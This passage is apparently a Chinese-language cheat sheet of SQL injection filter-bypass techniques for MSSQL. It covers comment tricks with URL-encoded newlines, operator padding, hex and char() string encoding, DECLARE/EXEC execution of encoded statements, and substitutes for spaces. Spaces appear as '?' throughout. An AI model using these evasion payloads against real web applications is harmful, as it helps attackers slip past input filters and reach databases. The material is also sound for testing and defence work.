注释:
单行注释:利用单行注释将多行注释注释掉然后利用换行符换行?
多行注释:?/*xxxx*/,xxxx可以是符合数字和字符(这非常关键),但没有mysql中的/*!xx*/这种用法
单行:
select?--/*
'naihe567'
--*/
?
但在web传参时需要进行url编码:
select?--/*%0a'naihe567'%0a--*/
多行:
这里是mssql的
下面是mysql的
运算符:运算符一般是配合报错注入使用
select?*?from?test.dbo.users?where?++++-+-~~1=(select?user)
#原理是使用特殊运算只会改变值并不会改变数据类型,-+^*|&都可以使用
?
编码主要是利用十六进制和ascii码 users表内容如下:
十六进制:
select?*?from?test.dbo.users?where?username=0x44756d6d79
Dummy的十六进制为0x44756d6d79
?
ascii码:
select?*?from?test.dbo.users?where?username?=??char(100)+char(117)+char(109)+char(109)+CHAR(121)
#使用char函数
?
使用declear与exec函数 declear会创建一个局部变量,在使用exec执行变量中的内容
declare?@s?varchar(2000)?set?@s=0x73656c656374206e61696865353637??exec(@s)
#declear与exec其实是属于报错注入范畴,但是它可以将一个完成的sql语句进行编码执行
#0x73656c656374206e61696865353637?解码后就是?select?naihe567
?
declare?@s?varchar(2000)?set??@s=CHAR(115)+CHAR(101)+CHAR(108)+CHAR(101)+CHAR(99)+CHAR(116)+CHAR(32)+...+CHAR(39)?exec(@s)
#ascii也可以
利用其他空白符替换空格:
%20?%09?%0a?%0b?%0c?%0d
利用[],()替换空格:
select(username)from[test].[dbo].[users]
?